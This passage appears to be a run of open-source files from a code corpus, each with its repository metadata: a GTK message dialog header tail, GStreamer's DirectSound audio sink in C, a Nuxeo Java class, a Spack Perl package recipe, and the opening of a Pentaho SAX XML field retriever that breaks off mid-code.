G_GNUC_CONST; GtkWidget* gtk_message_dialog_new (GtkWindow *parent, GtkDialogFlags flags, GtkMessageType type, GtkButtonsType buttons, const gchar *message_format, ...) G_GNUC_PRINTF (5, 6); GtkWidget* gtk_message_dialog_new_with_markup (GtkWindow *parent, GtkDialogFlags flags, GtkMessageType type, GtkButtonsType buttons, const gchar *message_format, ...) G_GNUC_PRINTF (5, 6); void gtk_message_dialog_set_image (GtkMessageDialog *dialog, GtkWidget *image); GtkWidget * gtk_message_dialog_get_image (GtkMessageDialog *dialog); void gtk_message_dialog_set_markup (GtkMessageDialog *message_dialog, const gchar *str); void gtk_message_dialog_format_secondary_text (GtkMessageDialog *message_dialog, const gchar *message_format, ...) G_GNUC_PRINTF (2, 3); void gtk_message_dialog_format_secondary_markup (GtkMessageDialog *message_dialog, const gchar *message_format, ...) G_GNUC_PRINTF (2, 3); G_END_DECLS #endif /* __GTK_MESSAGE_DIALOG_H__ */
community-ssu/gtk
gtk/gtkmessagedialog.h
C
lgpl-2.1
4,621
/* GStreamer * Copyright (C) 2005 Sebastien Moutte <sebastien@moutte.net> * Copyright (C) 2007 Pioneers of the Inevitable <songbird@songbirdnest.com> * Copyright (C) 2010 Fluendo S.A. <support@fluendo.com> * * gstdirectsoundsink.c: * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. * * * The development of this code was made possible due to the involvement * of Pioneers of the Inevitable, the creators of the Songbird Music player * */ /** * SECTION:element-directsoundsink * * This element lets you output sound using the DirectSound API. * * Note that you should almost always use generic audio conversion elements * like audioconvert and audioresample in front of an audiosink to make sure * your pipeline works under all circumstances (those conversion elements will * act in passthrough-mode if no conversion is necessary). * * <refsect2> * <title>Example pipelines</title> * |[ * gst-launch -v audiotestsrc ! audioconvert ! volume volume=0.1 ! directsoundsink * ]| will output a sine wave (continuous beep sound) to your sound card (with * a very low volume as precaution). * |[ * gst-launch -v filesrc location=music.ogg ! decodebin ! audioconvert ! audioresample ! directsoundsink * ]| will play an Ogg/Vorbis audio file and output it. * </refsect2> */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "gstdirectsoundsink.h" #include <math.h> #ifdef __CYGWIN__ #include <unistd.h> #ifndef _swab #define _swab swab #endif #endif GST_DEBUG_CATEGORY_STATIC (directsoundsink_debug); #define GST_CAT_DEFAULT directsoundsink_debug static void gst_directsound_sink_finalise (GObject * object); static void gst_directsound_sink_set_property (GObject * object, guint prop_id, const GValue * value, GParamSpec * pspec); static void gst_directsound_sink_get_property (GObject * object, guint prop_id, GValue * value, GParamSpec * pspec); static GstCaps *gst_directsound_sink_getcaps (GstBaseSink * bsink); static gboolean gst_directsound_sink_prepare (GstAudioSink * asink, GstRingBufferSpec * spec); static gboolean gst_directsound_sink_unprepare (GstAudioSink * asink); static gboolean gst_directsound_sink_open (GstAudioSink * asink); static gboolean gst_directsound_sink_close (GstAudioSink * asink); static guint gst_directsound_sink_write (GstAudioSink * asink, gpointer data, guint length); static guint gst_directsound_sink_delay (GstAudioSink * asink); static void gst_directsound_sink_reset (GstAudioSink * asink); static GstCaps *gst_directsound_probe_supported_formats (GstDirectSoundSink * dsoundsink, const GstCaps * template_caps); /* interfaces */ static void gst_directsound_sink_interfaces_init (GType type); static void gst_directsound_sink_implements_interface_init (GstImplementsInterfaceClass * iface); static void gst_directsound_sink_mixer_interface_init (GstMixerClass * iface); static GstStaticPadTemplate directsoundsink_sink_factory = GST_STATIC_PAD_TEMPLATE ("sink", GST_PAD_SINK, GST_PAD_ALWAYS, GST_STATIC_CAPS ("audio/x-raw-int, " "signed = (boolean) TRUE, " "width = (int) 16, " "depth = (int) 16, " "rate = (int) [ 1, MAX ], " "channels = (int) [ 1, 2 ]; " "audio/x-raw-int, " "signed = (boolean) FALSE, " "width = (int) 8, " "depth = (int) 8, " "rate = (int) [ 1, MAX ], " "channels = (int) [ 1, 2 ];" "audio/x-iec958")); enum { PROP_0, PROP_VOLUME }; GST_BOILERPLATE_FULL (GstDirectSoundSink, gst_directsound_sink, GstAudioSink, GST_TYPE_AUDIO_SINK, gst_directsound_sink_interfaces_init); /* interfaces stuff */ static void gst_directsound_sink_interfaces_init (GType type) { static const GInterfaceInfo implements_interface_info = { (GInterfaceInitFunc) gst_directsound_sink_implements_interface_init, NULL, NULL, }; static const GInterfaceInfo mixer_interface_info = { (GInterfaceInitFunc) gst_directsound_sink_mixer_interface_init, NULL, NULL, }; g_type_add_interface_static (type, GST_TYPE_IMPLEMENTS_INTERFACE, &implements_interface_info); g_type_add_interface_static (type, GST_TYPE_MIXER, &mixer_interface_info); } static gboolean gst_directsound_sink_interface_supported (GstImplementsInterface * iface, GType iface_type) { g_return_val_if_fail (iface_type == GST_TYPE_MIXER, FALSE); /* for the sake of this example, we'll always support it. However, normally, * you would check whether the device you've opened supports mixers. */ return TRUE; } static void gst_directsound_sink_implements_interface_init (GstImplementsInterfaceClass * iface) { iface->supported = gst_directsound_sink_interface_supported; } /* * This function returns the list of support tracks (inputs, outputs) * on this element instance. Elements usually build this list during * _init () or when going from NULL to READY. */ static const GList * gst_directsound_sink_mixer_list_tracks (GstMixer * mixer) { GstDirectSoundSink *dsoundsink = GST_DIRECTSOUND_SINK (mixer); return dsoundsink->tracks; } static void gst_directsound_sink_set_volume (GstDirectSoundSink * dsoundsink) { if (dsoundsink->pDSBSecondary) { /* DirectSound controls volume using units of 100th of a decibel, * ranging from -10000 to 0. We use a linear scale of 0 - 100 * here, so remap. */ long dsVolume; if (dsoundsink->volume == 0) dsVolume = -10000; else dsVolume = 100 * (long) (20 * log10 ((double) dsoundsink->volume / 100.)); dsVolume = CLAMP (dsVolume, -10000, 0); GST_DEBUG_OBJECT (dsoundsink, "Setting volume on secondary buffer to %d from %d", (int) dsVolume, (int) dsoundsink->volume); IDirectSoundBuffer_SetVolume (dsoundsink->pDSBSecondary, dsVolume); } } /* * Set volume. volumes is an array of size track->num_channels, and * each value in the array gives the wanted volume for one channel * on the track. */ static void gst_directsound_sink_mixer_set_volume (GstMixer * mixer, GstMixerTrack * track, gint * volumes) { GstDirectSoundSink *dsoundsink = GST_DIRECTSOUND_SINK (mixer); if (volumes[0] != dsoundsink->volume) { dsoundsink->volume = volumes[0]; gst_directsound_sink_set_volume (dsoundsink); } } static void gst_directsound_sink_mixer_get_volume (GstMixer * mixer, GstMixerTrack * track, gint * volumes) { GstDirectSoundSink *dsoundsink = GST_DIRECTSOUND_SINK (mixer); volumes[0] = dsoundsink->volume; } static void gst_directsound_sink_mixer_interface_init (GstMixerClass * iface) { /* the mixer interface requires a definition of the mixer type: * hardware or software? */ GST_MIXER_TYPE (iface) = GST_MIXER_SOFTWARE; /* virtual function pointers */ iface->list_tracks = gst_directsound_sink_mixer_list_tracks; iface->set_volume = gst_directsound_sink_mixer_set_volume; iface->get_volume = gst_directsound_sink_mixer_get_volume; } static void gst_directsound_sink_finalise (GObject * object) { GstDirectSoundSink *dsoundsink = GST_DIRECTSOUND_SINK (object); g_mutex_free (dsoundsink->dsound_lock); if (dsoundsink->tracks) { g_list_foreach (dsoundsink->tracks, (GFunc) g_object_unref, NULL); g_list_free (dsoundsink->tracks); dsoundsink->tracks = NULL; } G_OBJECT_CLASS (parent_class)->finalize (object); } static void gst_directsound_sink_base_init (gpointer g_class) { GstElementClass *element_class = GST_ELEMENT_CLASS (g_class); gst_element_class_set_details_simple (element_class, "Direct Sound Audio Sink", "Sink/Audio", "Output to a sound card via Direct Sound", "Sebastien Moutte <sebastien@moutte.net>"); gst_element_class_add_pad_template (element_class, gst_static_pad_template_get (&directsoundsink_sink_factory)); } static void gst_directsound_sink_class_init (GstDirectSoundSinkClass * klass) { GObjectClass *gobject_class; GstElementClass *gstelement_class; GstBaseSinkClass *gstbasesink_class; GstBaseAudioSinkClass *gstbaseaudiosink_class; GstAudioSinkClass *gstaudiosink_class; gobject_class = (GObjectClass *) klass; gstelement_class = (GstElementClass *) klass; gstbasesink_class = (GstBaseSinkClass *) klass; gstbaseaudiosink_class = (GstBaseAudioSinkClass *) klass; gstaudiosink_class = (GstAudioSinkClass *) klass; GST_DEBUG_CATEGORY_INIT (directsoundsink_debug, "directsoundsink", 0, "DirectSound sink"); parent_class = g_type_class_peek_parent (klass); gobject_class->finalize = gst_directsound_sink_finalise; gobject_class->set_property = gst_directsound_sink_set_property; gobject_class->get_property = gst_directsound_sink_get_property; gstbasesink_class->get_caps = GST_DEBUG_FUNCPTR (gst_directsound_sink_getcaps); gstaudiosink_class->prepare = GST_DEBUG_FUNCPTR (gst_directsound_sink_prepare); gstaudiosink_class->unprepare = GST_DEBUG_FUNCPTR (gst_directsound_sink_unprepare); gstaudiosink_class->open = GST_DEBUG_FUNCPTR (gst_directsound_sink_open); gstaudiosink_class->close = GST_DEBUG_FUNCPTR (gst_directsound_sink_close); gstaudiosink_class->write = GST_DEBUG_FUNCPTR (gst_directsound_sink_write); gstaudiosink_class->delay = GST_DEBUG_FUNCPTR (gst_directsound_sink_delay); gstaudiosink_class->reset = GST_DEBUG_FUNCPTR (gst_directsound_sink_reset); g_object_class_install_property (gobject_class, PROP_VOLUME, g_param_spec_double ("volume", "Volume", "Volume of this stream", 0.0, 1.0, 1.0, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS)); } static void gst_directsound_sink_init (GstDirectSoundSink * dsoundsink, GstDirectSoundSinkClass * g_class) { GstMixerTrack *track = NULL; dsoundsink->tracks = NULL; track = g_object_new (GST_TYPE_MIXER_TRACK, NULL); track->label = g_strdup ("DSoundTrack"); track->num_channels = 2; track->min_volume = 0; track->max_volume = 100; track->flags = GST_MIXER_TRACK_OUTPUT; dsoundsink->tracks = g_list_append (dsoundsink->tracks, track); dsoundsink->pDS = NULL; dsoundsink->cached_caps = NULL; dsoundsink->pDSBSecondary = NULL; dsoundsink->current_circular_offset = 0; dsoundsink->buffer_size = DSBSIZE_MIN; dsoundsink->volume = 100; dsoundsink->dsound_lock = g_mutex_new (); dsoundsink->first_buffer_after_reset = FALSE; } static void gst_directsound_sink_set_property (GObject * object, guint prop_id, const GValue * value, GParamSpec * pspec) { GstDirectSoundSink *sink = GST_DIRECTSOUND_SINK (object); switch (prop_id) { case PROP_VOLUME: sink->volume = (int) (g_value_get_double (value) * 100); gst_directsound_sink_set_volume (sink); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec); break; } } static void gst_directsound_sink_get_property (GObject * object, guint prop_id, GValue * value, GParamSpec * pspec) { GstDirectSoundSink *sink = GST_DIRECTSOUND_SINK (object); switch (prop_id) { case PROP_VOLUME: g_value_set_double (value, (double) sink->volume / 100.); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec); break; } } static GstCaps * gst_directsound_sink_getcaps (GstBaseSink * bsink) { GstElementClass *element_class; GstPadTemplate *pad_template; GstDirectSoundSink *dsoundsink = GST_DIRECTSOUND_SINK (bsink); GstCaps *caps; gchar *caps_string = NULL; if (dsoundsink->pDS == NULL) { GST_DEBUG_OBJECT (dsoundsink, "device not open, using template caps"); return NULL; /* base class will get template caps for us */ } if (dsoundsink->cached_caps) { caps_string = gst_caps_to_string (dsoundsink->cached_caps); GST_DEBUG_OBJECT (dsoundsink, "Returning cached caps: %s", caps_string); g_free (caps_string); return gst_caps_ref (dsoundsink->cached_caps); } element_class = GST_ELEMENT_GET_CLASS (dsoundsink); pad_template = gst_element_class_get_pad_template (element_class, "sink"); g_return_val_if_fail (pad_template != NULL, NULL); caps = gst_directsound_probe_supported_formats (dsoundsink, gst_pad_template_get_caps (pad_template)); if (caps) { dsoundsink->cached_caps = gst_caps_ref (caps); } if (caps) { gchar *caps_string = gst_caps_to_string (caps); GST_DEBUG_OBJECT (dsoundsink, "returning caps %s", caps_string); g_free (caps_string); } return caps; } static gboolean gst_directsound_sink_open (GstAudioSink * asink) { GstDirectSoundSink *dsoundsink = GST_DIRECTSOUND_SINK (asink); HRESULT hRes; /* create and initialize a DirecSound object */ if (FAILED (hRes = DirectSoundCreate (NULL, &dsoundsink->pDS, NULL))) { GST_ELEMENT_ERROR (dsoundsink, RESOURCE, OPEN_READ, ("gst_directsound_sink_open: DirectSoundCreate: %s", DXGetErrorString9 (hRes)), (NULL)); return FALSE; } if (FAILED (hRes = IDirectSound_SetCooperativeLevel (dsoundsink->pDS, GetDesktopWindow (), DSSCL_PRIORITY))) { GST_ELEMENT_ERROR (dsoundsink, RESOURCE, OPEN_READ, ("gst_directsound_sink_open: IDirectSound_SetCooperativeLevel: %s", DXGetErrorString9 (hRes)), (NULL)); return FALSE; } return TRUE; } static gboolean gst_directsound_sink_prepare (GstAudioSink * asink, GstRingBufferSpec * spec) { GstDirectSoundSink *dsoundsink = GST_DIRECTSOUND_SINK (asink); HRESULT hRes; DSBUFFERDESC descSecondary; WAVEFORMATEX wfx; /*save number of bytes per sample and buffer format */ dsoundsink->bytes_per_sample = spec->bytes_per_sample; dsoundsink->buffer_format = spec->format; /* fill the WAVEFORMATEX structure with spec params */ memset (&wfx, 0, sizeof (wfx)); if (spec->format != GST_IEC958) { wfx.cbSize = sizeof (wfx); wfx.wFormatTag = WAVE_FORMAT_PCM; wfx.nChannels = spec->channels; wfx.nSamplesPerSec = spec->rate; wfx.wBitsPerSample = (spec->bytes_per_sample * 8) / wfx.nChannels; wfx.nBlockAlign = spec->bytes_per_sample; wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign; /* Create directsound buffer with size based on our configured * buffer_size (which is 200 ms by default) */ dsoundsink->buffer_size = gst_util_uint64_scale_int (wfx.nAvgBytesPerSec, spec->buffer_time, GST_MSECOND); /* Make sure we make those numbers multiple of our sample size in bytes */ dsoundsink->buffer_size += dsoundsink->buffer_size % spec->bytes_per_sample; spec->segsize = gst_util_uint64_scale_int (wfx.nAvgBytesPerSec, spec->latency_time, GST_MSECOND); spec->segsize += spec->segsize % spec->bytes_per_sample; spec->segtotal = dsoundsink->buffer_size / spec->segsize; } else { #ifdef WAVE_FORMAT_DOLBY_AC3_SPDIF wfx.cbSize = 0; wfx.wFormatTag = WAVE_FORMAT_DOLBY_AC3_SPDIF; wfx.nChannels = 2; wfx.nSamplesPerSec = spec->rate; wfx.wBitsPerSample = 16; wfx.nBlockAlign = wfx.wBitsPerSample / 8 * wfx.nChannels; wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign; spec->segsize = 6144; spec->segtotal = 10; #else g_assert_not_reached (); #endif } // Make the final buffer size be an integer number of segments dsoundsink->buffer_size = spec->segsize * spec->segtotal; GST_INFO_OBJECT (dsoundsink, "GstRingBufferSpec->channels: %d, GstRingBufferSpec->rate: %d, GstRingBufferSpec->bytes_per_sample: %d\n" "WAVEFORMATEX.nSamplesPerSec: %ld, WAVEFORMATEX.wBitsPerSample: %d, WAVEFORMATEX.nBlockAlign: %d, WAVEFORMATEX.nAvgBytesPerSec: %ld\n" "Size of dsound circular buffer=>%d\n", spec->channels, spec->rate, spec->bytes_per_sample, wfx.nSamplesPerSec, wfx.wBitsPerSample, wfx.nBlockAlign, wfx.nAvgBytesPerSec, dsoundsink->buffer_size); /* create a secondary directsound buffer */ memset (&descSecondary, 0, sizeof (DSBUFFERDESC)); descSecondary.dwSize = sizeof (DSBUFFERDESC); descSecondary.dwFlags = DSBCAPS_GETCURRENTPOSITION2 | DSBCAPS_GLOBALFOCUS; if (spec->format != GST_IEC958) descSecondary.dwFlags |= DSBCAPS_CTRLVOLUME; descSecondary.dwBufferBytes = dsoundsink->buffer_size; descSecondary.lpwfxFormat = (WAVEFORMATEX *) & wfx; hRes = IDirectSound_CreateSoundBuffer (dsoundsink->pDS, &descSecondary, &dsoundsink->pDSBSecondary, NULL); if (FAILED (hRes)) { GST_ELEMENT_ERROR (dsoundsink, RESOURCE, OPEN_READ, ("gst_directsound_sink_prepare: IDirectSound_CreateSoundBuffer: %s", DXGetErrorString9 (hRes)), (NULL)); return FALSE; } gst_directsound_sink_set_volume (dsoundsink); return TRUE; } static gboolean gst_directsound_sink_unprepare (GstAudioSink * asink) { GstDirectSoundSink *dsoundsink; dsoundsink = GST_DIRECTSOUND_SINK (asink); /* release secondary DirectSound buffer */ if (dsoundsink->pDSBSecondary) { IDirectSoundBuffer_Release (dsoundsink->pDSBSecondary); dsoundsink->pDSBSecondary = NULL; } return TRUE; } static gboolean gst_directsound_sink_close (GstAudioSink * asink) { GstDirectSoundSink *dsoundsink = NULL; dsoundsink = GST_DIRECTSOUND_SINK (asink); /* release DirectSound object */ g_return_val_if_fail (dsoundsink->pDS != NULL, FALSE); IDirectSound_Release (dsoundsink->pDS); dsoundsink->pDS = NULL; gst_caps_replace (&dsoundsink->cached_caps, NULL); return TRUE; } static guint gst_directsound_sink_write (GstAudioSink * asink, gpointer data, guint length) { GstDirectSoundSink *dsoundsink; DWORD dwStatus; HRESULT hRes; LPVOID pLockedBuffer1 = NULL, pLockedBuffer2 = NULL; DWORD dwSizeBuffer1, dwSizeBuffer2; DWORD dwCurrentPlayCursor; dsoundsink = GST_DIRECTSOUND_SINK (asink); /* Fix endianness */ if (dsoundsink->buffer_format == GST_IEC958) _swab (data, data, length); GST_DSOUND_LOCK (dsoundsink); /* get current buffer status */ hRes = IDirectSoundBuffer_GetStatus (dsoundsink->pDSBSecondary, &dwStatus); /* get current play cursor position */ hRes = IDirectSoundBuffer_GetCurrentPosition (dsoundsink->pDSBSecondary, &dwCurrentPlayCursor, NULL); if (SUCCEEDED (hRes) && (dwStatus & DSBSTATUS_PLAYING)) { DWORD dwFreeBufferSize; calculate_freesize: /* calculate the free size of the circular buffer */ if (dwCurrentPlayCursor < dsoundsink->current_circular_offset) dwFreeBufferSize = dsoundsink->buffer_size - (dsoundsink->current_circular_offset - dwCurrentPlayCursor); else dwFreeBufferSize = dwCurrentPlayCursor - dsoundsink->current_circular_offset; if (length >= dwFreeBufferSize) { Sleep (100); hRes = IDirectSoundBuffer_GetCurrentPosition (dsoundsink->pDSBSecondary, &dwCurrentPlayCursor, NULL); hRes = IDirectSoundBuffer_GetStatus (dsoundsink->pDSBSecondary, &dwStatus); if (SUCCEEDED (hRes) && (dwStatus & DSBSTATUS_PLAYING)) goto calculate_freesize; else { dsoundsink->first_buffer_after_reset = FALSE; GST_DSOUND_UNLOCK (dsoundsink); return 0; } } } if (dwStatus & DSBSTATUS_BUFFERLOST) { hRes = IDirectSoundBuffer_Restore (dsoundsink->pDSBSecondary); /*need a loop waiting the buffer is restored?? */ dsoundsink->current_circular_offset = 0; } hRes = IDirectSoundBuffer_Lock (dsoundsink->pDSBSecondary, dsoundsink->current_circular_offset, length, &pLockedBuffer1, &dwSizeBuffer1, &pLockedBuffer2, &dwSizeBuffer2, 0L); if (SUCCEEDED (hRes)) { // Write to pointers without reordering. memcpy (pLockedBuffer1, data, dwSizeBuffer1); if (pLockedBuffer2 != NULL) memcpy (pLockedBuffer2, (LPBYTE) data + dwSizeBuffer1, dwSizeBuffer2); // Update where the buffer will lock (for next time) dsoundsink->current_circular_offset += dwSizeBuffer1 + dwSizeBuffer2; dsoundsink->current_circular_offset %= dsoundsink->buffer_size; /* Circular buffer */ hRes = IDirectSoundBuffer_Unlock (dsoundsink->pDSBSecondary, pLockedBuffer1, dwSizeBuffer1, pLockedBuffer2, dwSizeBuffer2); } /* if the buffer was not in playing state yet, call play on the buffer except if this buffer is the fist after a reset (base class call reset and write a buffer when setting the sink to pause) */ if (!(dwStatus & DSBSTATUS_PLAYING) && dsoundsink->first_buffer_after_reset == FALSE) { hRes = IDirectSoundBuffer_Play (dsoundsink->pDSBSecondary, 0, 0, DSBPLAY_LOOPING); } dsoundsink->first_buffer_after_reset = FALSE; GST_DSOUND_UNLOCK (dsoundsink); return length; } static guint gst_directsound_sink_delay (GstAudioSink * asink) { GstDirectSoundSink *dsoundsink; HRESULT hRes; DWORD dwCurrentPlayCursor; DWORD dwBytesInQueue = 0; gint nNbSamplesInQueue = 0; DWORD dwStatus; dsoundsink = GST_DIRECTSOUND_SINK (asink); /* get current buffer status */ hRes = IDirectSoundBuffer_GetStatus (dsoundsink->pDSBSecondary, &dwStatus); if (dwStatus & DSBSTATUS_PLAYING) { /*evaluate the number of samples in queue in the circular buffer */ hRes = IDirectSoundBuffer_GetCurrentPosition (dsoundsink->pDSBSecondary, &dwCurrentPlayCursor, NULL); if (hRes == S_OK) { if (dwCurrentPlayCursor < dsoundsink->current_circular_offset) dwBytesInQueue = dsoundsink->current_circular_offset - dwCurrentPlayCursor; else dwBytesInQueue = dsoundsink->current_circular_offset + (dsoundsink->buffer_size - dwCurrentPlayCursor); nNbSamplesInQueue = dwBytesInQueue / dsoundsink->bytes_per_sample; } } return nNbSamplesInQueue; } static void gst_directsound_sink_reset (GstAudioSink * asink) { GstDirectSoundSink *dsoundsink; LPVOID pLockedBuffer = NULL; DWORD dwSizeBuffer = 0; dsoundsink = GST_DIRECTSOUND_SINK (asink); GST_DSOUND_LOCK (dsoundsink); if (dsoundsink->pDSBSecondary) { /*stop playing */ HRESULT hRes = IDirectSoundBuffer_Stop (dsoundsink->pDSBSecondary); /*reset position */ hRes = IDirectSoundBuffer_SetCurrentPosition (dsoundsink->pDSBSecondary, 0); dsoundsink->current_circular_offset = 0; /*reset the buffer */ hRes = IDirectSoundBuffer_Lock (dsoundsink->pDSBSecondary, dsoundsink->current_circular_offset, dsoundsink->buffer_size, &pLockedBuffer, &dwSizeBuffer, NULL, NULL, 0L); if (SUCCEEDED (hRes)) { memset (pLockedBuffer, 0, dwSizeBuffer); hRes = IDirectSoundBuffer_Unlock (dsoundsink->pDSBSecondary, pLockedBuffer, dwSizeBuffer, NULL, 0); } } dsoundsink->first_buffer_after_reset = TRUE; GST_DSOUND_UNLOCK (dsoundsink); } /* * gst_directsound_probe_supported_formats: * * Takes the template caps and returns the subset which is actually * supported by this device. * */ static GstCaps * gst_directsound_probe_supported_formats (GstDirectSoundSink * dsoundsink, const GstCaps * template_caps) { HRESULT hRes; DSBUFFERDESC descSecondary; WAVEFORMATEX wfx; GstCaps *caps; caps = gst_caps_copy (template_caps); /* * Check availability of digital output by trying to create an SPDIF buffer */ #ifdef WAVE_FORMAT_DOLBY_AC3_SPDIF /* fill the WAVEFORMATEX structure with some standard AC3 over SPDIF params */ memset (&wfx, 0, sizeof (wfx)); wfx.cbSize = 0; wfx.wFormatTag = WAVE_FORMAT_DOLBY_AC3_SPDIF; wfx.nChannels = 2; wfx.nSamplesPerSec = 48000; wfx.wBitsPerSample = 16; wfx.nBlockAlign = 4; wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign; // create a secondary directsound buffer memset (&descSecondary, 0, sizeof (DSBUFFERDESC)); descSecondary.dwSize = sizeof (DSBUFFERDESC); descSecondary.dwFlags = DSBCAPS_GETCURRENTPOSITION2 | DSBCAPS_GLOBALFOCUS; descSecondary.dwBufferBytes = 6144; descSecondary.lpwfxFormat = &wfx; hRes = IDirectSound_CreateSoundBuffer (dsoundsink->pDS, &descSecondary, &dsoundsink->pDSBSecondary, NULL); if (FAILED (hRes)) { GST_INFO_OBJECT (dsoundsink, "AC3 passthrough not supported " "(IDirectSound_CreateSoundBuffer returned: %s)\n", DXGetErrorString9 (hRes)); caps = gst_caps_subtract (caps, gst_caps_new_simple ("audio/x-iec958", NULL)); } else { GST_INFO_OBJECT (dsoundsink, "AC3 passthrough supported"); hRes = IDirectSoundBuffer_Release (dsoundsink->pDSBSecondary); if (FAILED (hRes)) { GST_DEBUG_OBJECT (dsoundsink, "(IDirectSoundBuffer_Release returned: %s)\n", DXGetErrorString9 (hRes)); } } #else caps = gst_caps_subtract (caps, gst_caps_new_simple ("audio/x-iec958", NULL)); #endif return caps; }
ahmedammar/platform_external_gst_plugins_good
sys/directsound/gstdirectsoundsink.c
C
lgpl-2.1
25,292
/* * Copyright (c) 2006-2011 Nuxeo SA (http://nuxeo.com/) and others. * * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * bstefanescu */ package org.nuxeo.ecm.automation.client.model; /** * @author <a href="mailto:bs@nuxeo.com">Bogdan Stefanescu</a> */ public class IdRef extends DocRef { private static final long serialVersionUID = 1L; public IdRef(String path) { super(path); } public String value() { return ref; } }
nuxeo-archives/nuxeo-features
nuxeo-automation/nuxeo-automation-client/src/main/java/org/nuxeo/ecm/automation/client/model/IdRef.java
Java
lgpl-2.1
690
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class PerlWwwRobotrules(PerlPackage): """Database of robots.txt-derived permissions""" homepage = "http://deps.cpantesters.org/?module=WWW%3A%3ARobotRules;perl=latest" url = "http://search.cpan.org/CPAN/authors/id/G/GA/GAAS/WWW-RobotRules-6.02.tar.gz" version('6.02', sha256='46b502e7a288d559429891eeb5d979461dd3ecc6a5c491ead85d165b6e03a51e') depends_on('perl-uri', type=('build', 'run'))
iulian787/spack
var/spack/repos/builtin/packages/perl-www-robotrules/package.py
Python
lgpl-2.1
637
/* * Copyright (c) 2007 Pentaho Corporation. All rights reserved. * This software was developed by Pentaho Corporation and is provided under the terms * of the GNU Lesser General Public License, Version 2.1. You may not use * this file except in compliance with the license. If you need a copy of the license, * please go to http://www.gnu.org/licenses/lgpl-2.1.txt. The Original Code is Pentaho * Data Integration. The Initial Developer is Pentaho Corporation. * * Software distributed under the GNU Lesser Public License is distributed on an "AS IS" * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. Please refer to * the license for the specific language governing your rights and limitations. */ package org.pentaho.di.trans.steps.xmlinputsax; import java.io.IOException; import java.util.ArrayList; import java.util.List; import javax.xml.parsers.ParserConfigurationException; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import org.pentaho.di.core.Const; import org.pentaho.di.core.exception.KettleValueException; import org.pentaho.di.core.logging.LogChannelInterface; import org.xml.sax.Attributes; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; /** * Parse XML document using SAX and retreive fields * @author Youssef * @since 22-may-2006 */ public class XMLInputSaxFieldRetriever extends DefaultHandler{ List<XMLInputSaxField> fields; int [] position={-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1}; //list of elements to the root element private List<XMLInputSaxFieldPosition> pathToRootElement=new ArrayList<XMLInputSaxFieldPosition>(); //list of elements to the root element private List<XMLInputSaxFieldPosition> _pathToRootElement=new ArrayList<XMLInputSaxFieldPosition>(); //count the deep to the current element in pathToStartElement private int counter=0; //count the deep to the current element in xml file private int _counter=-1; //true when the root element is reached private boolean rootFound = false; //source xml file name private String sourceFile; private XMLInputSaxMeta meta; private LogChannelInterface log; //private String tempVal; public XMLInputSaxFieldRetriever(LogChannelInterface log, String sourceFile, XMLInputSaxMeta meta) { this.log = log; for(int i=0;i<meta.getInputPosition().length;i++) { this.pathToRootElement.add(meta.getInputPosition()[i]); } this.meta=meta; this.sourceFile=sourceFile; fields = new ArrayList<XMLInputSaxField>(); } public List<XMLInputSaxField> getFields() { parseDocument(); return this.fields; } private void parseDocument() { //get a factory SAXParserFactory spf = SAXParserFactory.newInstance(); try { //get a new instance of parser SAXParser sp = spf.newSAXParser(); //parse the file and also register this class for call backs sp.parse(sourceFile, this); }catch(SAXException se) { log.logError(Const.getStackTracker(se)); }catch(ParserConfigurationException pce) { log.logError(Const.getStackTracker(pce)); }catch (IOException ie) { log.logError(Const.getStackTracker(ie)); } } private void counterUp() { if (counter==pathToRootElement.size()-1){ rootFound=true; counter++; } else{ counter++; } } private boolean comparePaths(int count) { for (int i=0; i<=count; i++) { if(!((XMLInputSaxFieldPosition)pathToRootElement.get(i)).equals((XMLInputSaxFieldPosition)pathToRootElement.get(i))) { return false; } } return true; } private void counterDown() { if((counter-1==_counter)&& comparePaths(_counter)) { _pathToRootElement.remove(_counter); counter--; _counter--; rootFound=false; } else { _pathToRootElement.remove(_counter); _counter--; } } private String naming(XMLInputSaxFieldPosition[] path){ String ret=""; for(int i=pathToRootElement.size();i<path.length;i++){ String name; if(path[i].getType()==XMLInputSaxFieldPosition.XML_ELEMENT_ATT) { name = path[i].getAttributeValue(); } else { name = path[i].getName()+path[i].getElementNr(); } if(i>pathToRootElement.size()) { ret+="_"+name; } else { ret+=name; } } return ret; } //Event Handlers public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { //set the _counter level position[_counter+1]+=1; _counter++; try { if(!rootFound) { XMLInputSaxFieldPosition el=null; try { el = (XMLInputSaxFieldPosition)pathToRootElement.get(counter); } catch(IndexOutOfBoundsException e) { throw new SAXException(e); } if((counter==_counter) && qName.equalsIgnoreCase(el.getName())) { if (el.getType()==XMLInputSaxFieldPosition.XML_ELEMENT_ATT) { String att1=attributes.getValue(el.getAttribute()); // must throw exception String att2=el.getAttributeValue(); if(att1.equals(att2)) { _pathToRootElement.add(new XMLInputSaxFieldPosition(qName,el.getAttribute(),el.getAttributeValue())); // to test with clone if(counter==pathToRootElement.size()-1) { for (int i=0;i<attributes.getLength();i++) { XMLInputSaxFieldPosition tempP=new 